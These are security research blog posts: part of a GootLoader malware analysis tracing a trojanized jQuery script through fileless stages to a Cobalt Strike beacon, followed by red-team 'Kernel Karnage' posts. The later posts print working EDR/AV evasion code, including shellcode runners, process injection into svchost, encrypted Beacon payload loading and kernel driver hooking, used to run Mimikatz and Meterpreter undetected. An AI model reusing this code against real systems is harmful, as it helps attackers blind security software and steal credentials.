MD5: ae8e4c816e004263d4b1211297f8ba67
SHA-256: f8857afd249818613161b3642f22c77712cc29f30a6993ab68351af05ae14c0f
File Size: 1012.97 KB

The payload consists of digits. To decode it, take 2 digits, add 30, convert to an ASCII character, and repeat this till the end of the payload. This deobfuscation algorithm was deduced from the previous script, in the last step:

Fig 10. Stage 2 acquired from VirusTotal
Fig 11. Deobfuscation algorithm for stage 2

As an example, we’ll decode the first characters of the strings in detail: 88678402

  1. 88 –> 88+30 = 118
Fig 12. ASCII value 118 equals the letter v
  1. 67 –> 67 + 30 = 97
Fig 13. ASCII value 97 equals the letter a
  1. 84 –> 84 + 30 = 114
Fig 14. ASCII value 114 equals the letter r
  1. 02 –> 02+30 = 32
Fig 15. ASCII value 32 equals the symbol “space”

This results in: “var “, which indicates the declaration of a variable in JavaScript. This means we have yet another JavaScript script to analyze.
To decode the entire string a bit faster we can use a small Python script, which will automate the process for us:

Fig 16. Proof of concept Python script to display how the algorithm functions

First half of the decoded string:

Fig 17. Output of the deobfuscation script, showing the first part

Second half of the decoded string:

Fig 18. Output of the deobfuscation script, showing the second part

The same can be done with the following CyberChef recipe, it will take some time, due to the amount of data, but we saw it as a small challenge to use CyberChef to do the same.

#recipe=Regular_expression('User%20defined','..',true,true,false,false,false,false,'List%20matches')Find_/_Replace(%7B'option':'Regex','string':'%5C%5Cn'%7D,'%2030,',true,false,true,false)Fork(',','',false)Sum('Space')From_Charcode('Comma',10)
Fig 19. The CyberChef recipe in action

The decoded payload results in another JavaScript script.
MD5: a8b63471215d375081ea37053b52dfc4
SHA256: 12c0067a15a0e73950f68666dafddf8a555480c5a51fd50c6c3947f924ec2fb4
File size: 507 KB

The JavaScript script contains code to insert an encoded PE file (unmanaged code) and create a key with as value as encoded assembly (“HKEY_CURRENT_USER\SOFTWARE\Microsoft\Phone”) and then launches 2 PowerShell scripts. These 2 PowerShell scripts are fileless, and thus have no filename. For referencing in this document, the PowerShell scripts are named as follows:

  1. powershell_loader: this PowerShell script is a loader to execute the PE file injected into the registry
  2. powershell_persistence: this PowerShell script creates a scheduled task to execute the loader PowerShell script (powershell_loader) at boot time.

Fig 20. Deobfuscated & pretty-printed JavaScript script found in the decoded payload

A custom script was utilized to decode this payload as a whole and extract all separate elements from it (based on the reverse engineering of the script itself). The following is the output of the custom script:

Fig 21. Output of the custom script parsing all the components from the deobfuscated

All the artifacts extracted with this script match exactly with the artifacts recovered from the infected machine. These can be verified with the fileless artifacts extracted from Defender logs, with matching cryptographic hash:

  • Stage 2 SHA256 Script: 12c0067a15a0e73950f68666dafddf8a555480c5a51fd50c6c3947f924ec2fb4
  • Stage 2 SHA256 Persistence PowerShell script (powershell_persistence): 48e94b62cce8a8ce631c831c279dc57ecc53c8436b00e70495d8cc69b6d9d097
  • Stage 2 SHA256 PowerShell script (powershell_loader) contained in Persistence PowerShell script: c8a3ce2362e93c7c7dc13597eb44402a5d9f5757ce36ddabac8a2f38af9b3f4c
  • Stage 3 SHA256 Assembly: f1b33735dfd1007ce9174fdb0ba17bd4a36eee45fadcda49c71d7e86e3d4a434
  • Stage 4 SHA256 DLL: 63bf85c27e048cf7f243177531b9f4b1a3cb679a41a6cc8964d6d195d869093e

Based on this information, it can be concluded, with high confidence, that the payload found on VirusTotal is identical to the one downloaded by the infected machine: all hashes match with the artifacts from the infected machine.

In addition to the evidence these matching hashes bring, the stage 2 payload file also ends with the following string (this is not part of the encoded script): @83290986999722234173581@. This is the random part of the URL used to request this payload. Notice that it ends with 4173581, the unique number for domain joined machines found in the trojanized jQuery script.

Payload retrieval from VirusTotal

Although VirusTotal has reports for several URLs used by this malicious script, none of the reports contained a link to the actual downloaded content. However, using the following query: content:”378471678671496876716986″, the download content (payload) was found on VirusTotal; This string of digits corresponds to the encoding of string “CreateObject”. (see Fig. 20)

In order to attempt the retrieval of the downloaded content, an educated guess was made that the downloaded payload would contain calls to function CreateObject, because such functions calls are also present in the trojanized jQuery script. There are countless files on VirusTotal that contain the string “CreateObject”, but in this particular case, it is encoded with an encoding specific to GootLoader. Each letter of the string “CreateObject” is encoded to its numerical representation (ASCII code), and subtracted with 30. This returns the string “378471678671496876716986”.

Stage 3 – .NET Loader

MD5 Assembly: d401dc350aff1e3fd4cc483238208b43
SHA256 Assembly: f1b33735dfd1007ce9174fdb0ba17bd4a36eee45fadcda49c71d7e86e3d4a434
File Size: 13.50 KB

This .NET loader is fileless and thus has no filename.

The PowerShell loader script (powershell_loader)

  1. extracts the .NET Loader from the registry
  2. decodes it
  3. dynamically loads & executes it (i.e., it is not written to disk).

The .NET Loader is encoded in hexadecimal and stored inside the registry. It is slightly obfuscated: character # has to be replaced with 1000.

The .NET loader:

  1. extracts the DLL (stage 4) from the registry
  2. decodes it
  3. dynamically loads & executes it ( i.e., it is not written to disk).

The DLL is encoded in hexadecimal, but with an alternative character set. This is translated to regular hexadecimal via the following table:

Fig 22. “Test” function that decodes the DLL by using the replace

This Test function decodes the DLL and executes it in memory. Note that without the .NET loader, statistical analysis could reveal the DLL as well. A blog post[2], written by our colleague Didier Stevens on how to decode a payload by performing statistical analysis can offer some insights on how this could be done.

Stage 4 – Cobalt Strike DLL

MD5 DLL: 92a271eb76a0db06c94688940bc4442b
SHA256 DLL: 63bf85c27e048cf7f243177531b9f4b1a3cb679a41a6cc8964d6d195d869093e

This is a typical Cobalt Strike beacon and has the following configuration (extracted with 1768.py)

Fig 23. 1768.py by DidierStevens used to detect and parse the Cobalt Strike beacon

Now that Cobalt Strike is loaded as final part of the infection chain, the attacker has control over the infected machine and can start his reconnaissance from this machine or make use of the post-exploitation functionality in Cobalt Strike, e.g. download/upload files, log keystrokes, take screenshots, …

Conclusion

The analysis of the trojanized jQuery JavaScript confirms the initial analysis of the artifacts collected from the infected machine and confirms that the trojanized jQuery contains malicious obfuscated code to download a payload from the Internet. This payload is designed to filelessly, and with boot-persistence, instantiate a Cobalt Strike beacon.

About the authors

Didier Stevens Didier Stevens is a malware expert working for NVISO. Didier is a SANS Internet Storm Center senior handler and Microsoft MVP, and has developed numerous popular tools to assist with malware analysis. You can find Didier on Twitter and LinkedIn.
Sasja Reynaert Sasja Reynaert is a forensic analyst working for NVISO. Sasja is a GIAC Certified Incident Handler, Forensics Examiner & Analyst (GCIH, GCFE, GCFA). You can find Sasja on LinkedIn.

You can follow NVISO Labs on Twitter to stay up to date on all our future research and publications.


[1]:https://code.jquery.com/jquery-3.6.0.js
[2]:https://blog.didierstevens.com/2022/06/20/another-exercise-in-encoding-reversing/

Kernel Karnage – Part 9 (Finishing Touches)

22 February 2022 at 13:03

It’s time for the season finale. In this post we explore several bypasses but also look at some mistakes made along the way.

1. From zero to hero: a quick recap

As promised in part 8, I spent some time converting the application to disable Driver Signature Enforcement (DSE) into a Beacon Object File (BOF) and adding in some extras, such as string obfuscation to hide very common string patterns like registry keys and constants from network inspection. I also changed some of the parameters to work with user input via CobaltWhispers instead of hardcoded values and replaced some notorious WIN32 API functions with their Windows Native API counterparts.

Once this was done, I started debugging the BOF and testing the full attack chain:

  • starting with the EarlyBird injector being executed as Administrator
  • disabling DSE using the BOF
  • deploying the Interceptor driver to cripple EDR/AV
  • running Mimikatz via Beacon.

The full attack is demonstrated below:

2. A BOF a day, keeps the doctor away

With my internship coming to an end, I decided to focus on Quality of Life updates for the InterceptorCLI as well as convert it into a Beacon Object File (BOF) in addition to the DisableDSE BOF, so that all the components may be executed in memory via Beacon.

The first big improvement is to rework the commands to be more intuitive and convenient. It’s now possible to provide multiple values to a command, making it much easier to patch multiple callbacks. Even if that’s too much manual labour, the -patch module command will take care of all callbacks associated with the provided drivers.

Next, I added support for vendor recognition and vendor based actions. The vendors and their associated driver modules are taken from SadProcessor’s Invoke-EDRCheck.ps1 and expanded by myself with modules I’ve come across during the internship. It’s now possible to automatically detect different EDR modules present on a target system and take action by automatically patching them using the -patch vendor command. An overview of all supported vendors can be obtained using the -list vendors command.

Finally, I converted the InterceptCLI client into a Beacon Object File (BOF), enhanced with direct syscalls and integrated in my CobaltWhispers framework.

3. Bigger fish to fry

With $vendor2 defeated, it’s also time to move on to more advanced testing. Thus far, I’ve only tested against consumer-grade Anti-Virus products and not enterprise EDR/AV platforms. I spent some time setting up and playing with $EDR-vendor1 and $EDR-vendor2.

To my surprise, once I had loaded the Interceptor driver, $EDR-vendor2 would detect a new driver has been loaded, most likely using ImageLoad callbacks, and refresh its own modules to restore protection and undo any potential tampering. Subsequently, any I/O requests to Interceptor are blocked by $EDR-vendor2 resulting in a "Access denied" message. The current version of InterceptorCLI makes use of various WIN32 API calls, including DeviceIoControl() to contact Interceptor. I suspect $EDR-vendor2 uses a minifilter to inspect and block I/O requests rather than relying on user land hooks, but I’ve yet to confirm this.

Contrary to $EDR-vendor2, I ran into issues getting $EDR-vendor1 to work properly with the $EDR-vendor1 platform and generate alerts, so I moved on to testing against $vendor3 and $EDR-vendor3. My main testing goal is the Interceptor driver itself and its ability to hinder the EDR/AV. The method of delivering and installing the driver is less relevant.

Initially, after patching all the callbacks associated with $vendor3, my EarlyBird-injector-spawned process would crash, resulting in no Beacon callback. The cause of the crash is klflt.sys, which I assume is $vendor3’s filesystem minifilter or at least part of it. I haven’t pinpointed the exact reason of the crash, but I suspect it is related to handle access rights.

When restoring klflt.sys callbacks, EarlyBird is executed and Beacon calls back successfully. However, after a notable delay, Beacon is detected and removed. Apart from detection upon execution, my EarlyBird injector is also flagged when scanned. I’ve used the same compiled version of my injector for several weeks against several different vendors, combined with other monitoring software like ProcessHacker2, it’s possible samples have been submitted and analyzed by different sandboxes.

In an attempt to get around klflt.sys, I decided to try a different injection approach and stick to my own process.

void main()
{
    const unsigned char shellcode[] = "";
	PVOID shellcode_exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	RtlCopyMemory(shellcode_exec, shellcode, sizeof shellcode);
	DWORD threadID;
	HANDLE hThread = CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)shellcode_exec, NULL, 0, &threadID);
	WaitForSingleObject(hThread, INFINITE);
}

These 6 lines of primitive shellcode injection were successful in bypassing klflt.sys and executing Beacon.

4. Rookie mistakes

When I started my tests against $EDR-vendor3, the first thing that happened wasn’t alarms and sirens going off, it was a good old bluescreen. During my kernel callbacks patching journey, I never considered the possibility of faulty offset calculations. The code responsible for calculating offsets just happily adds up the addresses with the located offset and returns the result without any verification. This had worked fine on my Windows 10 build 19042 test machine, but failed on the $EDR-vendor3 machine which is a Windows 10 build 18362.

for (ULONG64 instructionAddr = funcAddr; instructionAddr < funcAddr + 0xff; instructionAddr++) {
	if (*(PUCHAR)instructionAddr == OPCODE_LEA_R13_1[g_WindowsIndex] && 
		*(PUCHAR)(instructionAddr + 1) == OPCODE_LEA_R13_2[g_WindowsIndex] &&
		*(PUCHAR)(instructionAddr + 2) == OPCODE_LEA_R13_3[g_WindowsIndex]) {

		OffsetAddr = 0;
		memcpy(&OffsetAddr, (PUCHAR)(instructionAddr + 3), 4);
		return OffsetAddr + 7 + instructionAddr;
	}
}

If we look at the kernel base address 0xfffff807'81400000, we can expect the address of the kernel callback arrays to be in the same range as the first 8 most significant bits (0xfffff807).

However, comparing the debug output to the expected address, we can note that the return address (callback array address) 0xfffff808'81903ba0 differs from the expected return address 0xfffff807'81903ba0 by a value of 0x100000000 or compared to the kernel base address 0x100503ba0. The 8 most significant bits don’t match up.

The calculated offset we’re working with in this case is 0xffdab4f7. Following the original code, we add 0xffdab4f7 + 0x7 + 0xfffff80781b586a2 which yields the callback array address. This is where the issue resides. OffsetAddr is a ULONG64, in other words "unsigned long long" which comes down to 0x00000000'00000000 when initialized to 0; When the memcpy() instruction copies over the offset address bytes, the result becomes 0x00000000'ffdab4f7. To quickly solve this problem, I changed OffsetAddr to a LONG and added a function to verify the address calculation against the kernel base address.

ULONG64 VerifyOffsets(LONG OffsetAddr, ULONG64 InstructionAddr) {
	ULONG64 ReturnAddr = OffsetAddr + 7 + InstructionAddr;
	ULONG64 KernelBaseAddr = GetKernelBaseAddress();
	if (KernelBaseAddr != 0) {
		if (ReturnAddr - KernelBaseAddr > 0x1000000) {
			KdPrint((DRIVER_PREFIX "Mismatch between kernel base address and expected return address: %llx\n", ReturnAddr - KernelBaseAddr));
			return 0;
		}
		return ReturnAddr;
	}
	else {
		KdPrint((DRIVER_PREFIX "Unable to get kernel base address\n"));
		return 0;
	}
}

5. Final round

As expected, $EDR-vendor3 is a big step up from the regular consumer grade anti-virus products I’ve tested against thus far and the loader I’ve been using during this series doesn’t cut it anymore. Right around the time I started my tests I came across a tweet from @an0n_r0 discussing a semi-successful $EDR-vendor3 bypass, so I used this as base for my new stage 0 loader.

The loader is based on the simple remote code injection pattern using the VirtualAllocEx, WriteProcessMemory, VirtualProtectEx and CreateRemoteThread WIN32 APIs.

void* exec = fpVirtualAllocEx(hProcess, NULL, blenu, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

fpWriteProcessMemory(hProcess, exec, bufarr, blenu, NULL);

DWORD oldProtect;
fpVirtualProtectEx(hProcess, exec, blenu, PAGE_EXECUTE_READ, &oldProtect);

fpCreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)exec, exec, 0, NULL);

I also incorporated dynamic function imports using hashed function names and CIG to protect the spawned suspended process against injection of non-Microsoft-signed binaries.

HANDLE SpawnProc() {
    STARTUPINFOEXA si = { 0 };
    PROCESS_INFORMATION pi = { 0 };
    SIZE_T attributeSize;

    InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize);
    si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attributeSize);
    InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attributeSize);

    DWORD64 policy = PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON;
    UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY, &policy, sizeof(DWORD64), NULL, NULL);

    si.StartupInfo.cb = sizeof(si);
    si.StartupInfo.dwFlags = EXTENDED_STARTUPINFO_PRESENT;

    if (!CreateProcessA(NULL, (LPSTR)"C:\\Windows\\System32\\svchost.exe", NULL, NULL, TRUE, CREATE_SUSPENDED | CREATE_NO_WINDOW | EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &si.StartupInfo, &pi)) {
        std::cout << "Could not spawn process" << std::endl;
        DeleteProcThreadAttributeList(si.lpAttributeList);
        return INVALID_HANDLE_VALUE;
    }

    DeleteProcThreadAttributeList(si.lpAttributeList);
    return pi.hProcess;
}

The Beacon payload is stored as an AES256 encrypted PE resource and decrypted in memory before being injected into the remote process.

HRSRC rc = FindResource(NULL, MAKEINTRESOURCE(IDR_PAYLOAD_BIN1), L"PAYLOAD_BIN");
DWORD rcSize = fpSizeofResource(NULL, rc);
HGLOBAL rcData = fpLoadResource(NULL, rc);

char* key = (char*)"16-byte-key-here";
const uint8_t iv[] = { 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f };

int blenu = rcSize;
int klen = strlen(key);

int klenu = klen;
if (klen % 16)
    klenu += 16 - (klen % 16);

uint8_t* keyarr = new uint8_t[klenu];
ZeroMemory(keyarr, klenu);
memcpy(keyarr, key, klen);

uint8_t* bufarr = new uint8_t[blenu];
ZeroMemory(bufarr, blenu);
memcpy(bufarr, rcData, blenu);

pkcs7_padding_pad_buffer(keyarr, klen, klenu, 16);

AES_ctx ctx;
AES_init_ctx_iv(&ctx, keyarr, iv);
AES_CBC_decrypt_buffer(&ctx, bufarr, blenu);

Last but not least, I incorporated the Sleep_Mask directive in my Cobalt Strike Malleable C2 profile. This tells Cobalt Strike to obfuscate Beacon in memory before it goes to sleep by means of an XOR encryption routine.

The loader was able to execute Beacon undetected and with the help of my kernel driver running Mimikatz was but a click of the button.

On that bombshell, it’s time to end this internship and I think I can conclude that while having a kernel driver to tamper with EDR/AV is certainly useful, a majority of the detection mechanisms are still present in user land or are driven by signatures and rules for static detection.

6. Conclusion

During this Kernel Karnage series, I developed a kernel driver from scratch, accompanied by several different loaders, with the goal to effectively tamper with EDR/AV solutions to allow execution of common known tools which would otherwise be detected immediately. While there certainly are several factors limiting the deployment and application of a kernel driver (such as DSE, HVCI, Secure Boot), it turns out to be quite powerful in combination with user land evasion techniques and manages to address the AI/ML component of EDR/AV which would otherwise require a great deal of obfuscation and anti-sandboxing.

About the author

Sander is a junior consultant and part of NVISO’s red team. He has a passion for malware development and enjoys any low-level programming or stumbling through a debugger. When Sander is not lost in 1s and 0s, you can find him traveling around Europe and Asia. You can reach Sander on LinkedIn or Twitter.

Kernel Karnage – Part 3 (Challenge Accepted)

By: bautersj
16 November 2021 at 08:28

While I was cruising along, taking in the views of the kernel landscape, I received a challenge …

1. Player 2 has entered the game

The past weeks I mostly experimented with existing tooling and got acquainted with the basics of kernel driver development. I managed to get a quick win versus $vendor1 but that didn’t impress our blue team, so I received a challenge to bypass $vendor2. I have to admit, after trying all week to get around the protections, $vendor2 is definitely a bigger beast to tame.

I foolishly tried to rely on blocking the kernel callbacks using the Evil driver from my first post and quickly concluded that wasn’t going to cut it. To win this fight, I needed bigger guns.

2. Know your enemy

$vendor2’s defenses consist of a number of driver modules:

  • eamonm.sys (monitoring agent?)
  • edevmon.sys (device monitor?)
  • eelam.sys (early launch anti-malware driver)
  • ehdrv.sys (helper driver?)
  • ekbdflt.sys (keyboard filter?)
  • epfw.sys (personal firewall driver?)
  • epfwlwf.sys (personal firewall light-weight filter?)
  • epfwwfp.sys (personal firewall filter?)

and a user mode service: ekrn.exe ($vendor2 kernel service) running as a System Protected Process (enabled by eelam.sys driver).

At this stage I am only guessing the roles and functionality of the different driver modules based on their names and some behaviour I have observed during various tests, mainly because I haven’t done any reverse-engineering yet. Since I am interested in running malicious binaries on the protected system, my initial attack vector is to disable the functionality of the ehdrv.sys, epfw.sys and epfwwfp.sys drivers. As far as I can tell using WinObj and listing all loaded modules in WinDbg (lm command), epfwlwf.sys does not appear to be running and neither does eelam.sys, which I presume is only used in the initial stages when the system is booting up to start ekrn.exe as a System Protected Process.

WinObj GLOBALS?? directory listing

In the context of my internship being focused on the kernel, I have not (yet) considered attacking the protected ekrn.exe service. According to the Microsoft Documentation, a protected process is shielded from code injection and other attacks from admin processes. However, a quick Google search tells me otherwise 😉

3. Interceptor

With my eye on the ehdrv.sys, epfw.sys and epfwwfp.sys drivers, I noticed they all have registered callbacks, either for process creation, thread creation, or both. I’m still working on expanding my own driver to include callback functionality, which will also look at image load callbacks, which are used to detect the loading of drivers and so on. Luckily, the Evil driver has got this angle (partially) covered for now.

ESET registered callbacks

Unfortunately, we cannot solely rely on blocking kernel callbacks. Other sources contacting the $vendor2 drivers and reporting suspicious activity should also be taken into consideration. In my previous post I briefly touched on IRP MajorFunction hooking, which is a good -although easy to detect- way of intercepting communications between drivers and other applications.

I wrote my own driver called Interceptor, which combines the ideas of @zodiacon’s Driver Monitor project and @fdiskyou’s Evil driver.

To gather information about all the loaded drivers on the system, I used the AuxKlibQueryModuleInformation() function. Note that because I return output via pass-by-reference parameters, the calling function is responsible for cleaning up any allocated memory and preventing a leak.

NTSTATUS ListDrivers(PAUX_MODULE_EXTENDED_INFO& outModules, ULONG& outNumberOfModules) {
    NTSTATUS status;
    ULONG modulesSize = 0;
    PAUX_MODULE_EXTENDED_INFO modules;
    ULONG numberOfModules;

    status = AuxKlibInitialize();
    if(!NT_SUCCESS(status))
        return status;

    status = AuxKlibQueryModuleInformation(&modulesSize, sizeof(AUX_MODULE_EXTENDED_INFO), nullptr);
    if (!NT_SUCCESS(status) || modulesSize == 0)
        return status;

    numberOfModules = modulesSize / sizeof(AUX_MODULE_EXTENDED_INFO);

    modules = (AUX_MODULE_EXTENDED_INFO*)ExAllocatePoolWithTag(PagedPool, modulesSize, DRIVER_TAG);
    if (modules == nullptr)
        return STATUS_INSUFFICIENT_RESOURCES;

    RtlZeroMemory(modules, modulesSize);

    status = AuxKlibQueryModuleInformation(&modulesSize, sizeof(AUX_MODULE_EXTENDED_INFO), modules);
    if (!NT_SUCCESS(status)) {
        ExFreePoolWithTag(modules, DRIVER_TAG);
        return status;
    }

    //calling function is responsible for cleanup
    //if (modules != NULL) {
    //	ExFreePoolWithTag(modules, DRIVER_TAG);
    //}

    outModules = modules;
    outNumberOfModules = numberOfModules;

    return status;
}

Using this function, I can obtain information like the driver’s full path, its file name on disk and its image base address. This information is then passed on to the user mode application (InterceptorCLI.exe) or used to locate the driver’s DriverObject and MajorFunction array so it can be hooked.

To hook the driver’s dispatch routines, I still rely on the ObReferenceObjectByName() function, which accepts a UNICODE_STRING parameter containing the driver’s name in the format \\Driver\\DriverName. In this case, the driver’s name is derived from the driver’s file name on disk: mydriver.sys –> \\Driver\\mydriver.

However, it should be noted that this is not a reliable way to obtain a handle to the DriverObject, since the driver’s name can be set to anything in the driver’s DriverEntry() function when it creates the DeviceObject and symbolic link.

Once a handle is obtained, the target driver will be stored in a global array and its dispatch routines hooked and replaced with my InterceptGenericDispatch() function. The target driver’s DriverObject->DriverUnload dispatch routine is separately hooked and replaced by my GenericDriverUnload() function, to prevent the target driver from unloading itself without us knowing about it and causing a nightmare with dangling pointers.

NTSTATUS InterceptGenericDispatch(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
	UNREFERENCED_PARAMETER(DeviceObject);
    auto stack = IoGetCurrentIrpStackLocation(Irp);
	auto status = STATUS_UNSUCCESSFUL;
	KdPrint((DRIVER_PREFIX "GenericDispatch: call intercepted\n"));

    //inspect IRP
    if(isTargetIrp(Irp)) {
        //modify IRP
        status = ModifyIrp(Irp);
        //call original
        for (int i = 0; i < MaxIntercept; i++) {
            if (globals.Drivers[i].DriverObject == DeviceObject->DriverObject) {
                auto CompletionRoutine = globals.Drivers[i].MajorFunction[stack->MajorFunction];
                return CompletionRoutine(DeviceObject, Irp);
            }
        }
    }
    else if (isDiscardIrp(Irp)) {
        //call own completion routine
        status = STATUS_INVALID_DEVICE_REQUEST;
	    return CompleteRequest(Irp, status, 0);
    }
    else {
        //call original
        for (int i = 0; i < MaxIntercept; i++) {
            if (globals.Drivers[i].DriverObject == DeviceObject->DriverObject) {
                auto CompletionRoutine = globals.Drivers[i].MajorFunction[stack->MajorFunction];
                return CompletionRoutine(DeviceObject, Irp);
            }
        }
    }
    return CompleteRequest(Irp, status, 0);
}
void GenericDriverUnload(PDRIVER_OBJECT DriverObject) {
	for (int i = 0; i < MaxIntercept; i++) {
		if (globals.Drivers[i].DriverObject == DriverObject) {
			if (globals.Drivers[i].DriverUnload) {
				globals.Drivers[i].DriverUnload(DriverObject);
			}
			UnhookDriver(i);
		}
	}
	NT_ASSERT(false);
}

4. Early bird gets the worm

Armed with my new Interceptor driver, I set out to try and defeat $vendor2 once more. Alas, no luck, mimikatz.exe was still detected and blocked. This got me thinking, running such a well-known malicious binary without any attempts to hide it or obfuscate it is probably not realistic in the first place. A signature check alone would flag the binary as malicious. So, I decided to write my own payload injector for testing purposes.

Based on research presented in An Empirical Assessment of Endpoint Detection and Response Systems against Advanced Persistent Threats Attack Vectors by George Karantzas and Constantinos Patsakis, I chose for a shellcode injector using:
– the EarlyBird code injection technique
– PPID spoofing
– Microsoft’s Code Integrity Guard (CIG) enabled to prevent non-Microsoft DLLs from being injected into our process
– Direct system calls to bypass any user mode hooks.

The injector delivers shellcode to fetch a “windows/x64/meterpreter/reverse_tcp” payload from the Metasploit framework.

Using my shellcode injector, combined with the Evil driver to disable kernel callbacks and my Interceptor driver to intercept any IRPs to the ehdrv.sys, epfw.sys and epfwwfp.sys drivers, the meterpreter payload is still detected but not blocked by $vendor2.

5. Conclusion

In this blogpost, we took a look at a more advanced Anti-Virus product, consisting of multiple kernel modules and better detection capabilities in both user mode and kernel mode. We took note of the different AV kernel drivers that are loaded and the callbacks they subscribe to. We then combined the Evil driver and the Interceptor driver to disable the kernel callbacks and hook the IRP dispatch routines, before executing a custom shellcode injector to fetch a meterpreter reverse shell payload.

Even when armed with a malicious kernel driver, a good EDR/AV product can still be a major hurdle to bypass. Combining techniques in both kernel and user land is the most effective solution, although it might not be the most realistic. With the current approach, the Evil driver does not (yet) take into account image load-, registry- and object creation callbacks, nor are the AV minifilters addressed.

About the authors

Sander (@cerbersec), the main author of this post, is a cyber security student with a passion for red teaming and malware development. He’s a two-time intern at NVISO and a future NVISO bird.

Jonas is NVISO’s red team lead and thus involved in all red team exercises, either from a project management perspective (non-technical), for the execution of fieldwork (technical), or a combination of both. You can find Jonas on LinkedIn.

Kernel Karnage – Part 1

By: bautersj
21 October 2021 at 15:13

I start the first week of my internship in true spooktober fashion as I dive into a daunting subject that’s been scaring me for some time now: The Windows Kernel.

1. KdPrint(“Hello, world!\n”);

When I finished my previous internship, which was focused on bypassing Endpoint Detection and Response (EDR) software and Anti-Virus (AV) software from a user land point of view, we joked around with the idea that the next topic would be defeating the same problem but from kernel land. At that point in time, I had no experience at all with the Windows kernel and it all seemed very advanced and above my level of technical ability. As I write this blogpost, I have to admit it wasn’t as scary or difficult as I thought it to be; C/C++ is still C/C++ and assembly instructions are still headache-inducing, but comprehensible with the right resources and time dedication.

In this first post, I will lay out some of the technical concepts and ideas behind the goal of this internship, as well as reflect back on my first steps in successfully bypassing/disabling a reputable Anti-Virus product, but more on that later.

2. BugCheck?

To set this rollercoaster in motion, I highly recommend checking out this post in which I briefly covered User Space (and Kernel Space to a certain extent) and how EDRs interact with them.

User Space vs Kernel Space

In short, the Windows OS roughly consists of 2 layers, User Space and Kernel Space.

User Space or user land contains the Windows Native API: ntdll.dll, the WIN32 subsystem: kernel32.dll, user32.dll, advapi.dll,... and all the user processes and applications. When applications or processes need more advanced access or control to hardware devices, memory, CPU, etc., they will use ntdll.dll to talk to the Windows kernel.

The functions contained in ntdll.dll will load a number, called “the system service number”, into the EAX register of the CPU and then execute the syscall instruction (x64-bit), which starts the transition to kernel mode while jumping to a predefined routine called the system service dispatcher. The system service dispatcher performs a lookup in the System Service Dispatch Table (SSDT) using the number in the EAX register as an index. The code then jumps to the relevant system service and returns to user mode upon completion of execution.

Kernel Space or kernel land is the bottom layer in between User Space and the hardware and consists of a number of different elements. At the heart of Kernel Space we find ntoskrnl.exe or as we’ll call it: the kernel. This executable houses the most critical OS code, like thread scheduling, interrupt and exception dispatching, and various kernel primitives. It also contains the different managers such as the I/O manager and memory manager. Next to the kernel itself, we find device drivers, which are loadable kernel modules. I will mostly be messing around with these, since they run fully in kernel mode. Apart from the kernel itself and the various drivers, Kernel Space also houses the Hardware Abstraction Layer (HAL), win32k.sys, which mainly handles the User Interface (UI), and various system and subsystem processes (Lsass.exe, Winlogon.exe, Services.exe, etc.), but they’re less relevant in relation to EDRs/AVs.

Opposed to User Space, where every process has its own virtual address space, all code running in Kernel Space shares a single common virtual address space. This means that a kernel-mode driver can overwrite or write to memory belonging to other drivers, or even the kernel itself. When this occurs and results in the driver crashing, the entire operating system will crash.

In 2005, with the first x64-bit edition of Windows XP, Microsoft introduced a new feature called Kernel Patch Protection (KPP), colloquially known as PatchGuard. PatchGuard is responsible for protecting the integrity of the Window kernel, by hashing its critical structures and performing comparisons at random time intervals. When PatchGuard detects a modification, it will immediately Bugcheck the system (KeBugCheck(0x109);), resulting in the infamous Blue Screen Of Death (BSOD) with the message: “CRITICAL_STRUCTURE_CORRUPTION”.

bugcheck

3. A battle on two fronts

The goal of this internship is to develop a kernel driver that will be able to disable, bypass, mislead, or otherwise hinder EDR/AV software on a target. So what exactly is a driver, and why do we need one?

As stated in the Microsoft Documentation, a driver is a software component that lets the operating system and a device communicate with each other. Most of us are familiar with the term “graphics card driver”; we frequently need to update it to support the latest and greatest games. However, not all drivers are tied to a piece of hardware, there is a separate class of drivers called Software Drivers.

software driver

Software drivers run in kernel mode and are used to access protected data that is only available in kernel mode, from a user mode application. To understand why we need a driver, we have to look back in time and take into consideration how EDR/AV products work or used to work.

Obligatory disclaimer: I am by no means an expert and a lot of the information used to write this blog post comes from sources which may or may not be trustworthy, complete or accurate.

EDR/AV products have adapted and evolved over time with the increased complexity of exploits and attacks. A common way to detect malicious activity is for the EDR/AV to hook the WIN32 API functions in user land and transfer execution to itself. This way when a process or application calls a WIN32 API function, it will pass through the EDR/AV so it can be inspected and either allowed, or terminated. Malware authors bypassed this hooking method by directly using the underlying Windows Native API (ntdll.dll) functions instead, leaving the WIN32 API functions mostly untouched. Naturally, the EDR/AV products adapted, and started hooking the Windows Native API functions. Malware authors have used several methods to circumvent these hooks, using techniques such as direct syscalls, unhooking and more. I recommend checking out A tale of EDR bypass methods by @ShitSecure (S3cur3Th1sSh1t).

When the battle could no longer be fought in user land (since Windows Native API is the lowest level), it transitioned into kernel land. Instead of hooking the Native API functions, EDR/AV started patching the System Service Dispatch Table (SSDT). Sounds familiar? When execution from ntdll.dll is transitioned to the system service dispatcher, the lookup in the SSDT will yield a memory address belonging to a EDR/AV function instead of the original system service. This practice of patching the SSDT is risky at best, because it affects the entire operating system and if something goes wrong it will result in a crash.

With the introduction of PatchGuard (KPP), Microsoft made an end to patching SSDT in x64-bit versions of Windows (x86 is unaffected) and instead introduced a new feature called Kernel Callbacks. A driver can register a callback for a certain action. When this action is performed, the driver will receive either a pre- or post-action notification.

EDR/AV products make heavy use of these callbacks to perform their inspections. A good example would be the PsSetCreateProcessNotifyRoutine() callback:

  1. When a user application wants to spawn a new process, it will call the CreateProcessW() function in kernel32.dll, which will then trigger the create process callback, letting the kernel know a new process is about to be created.
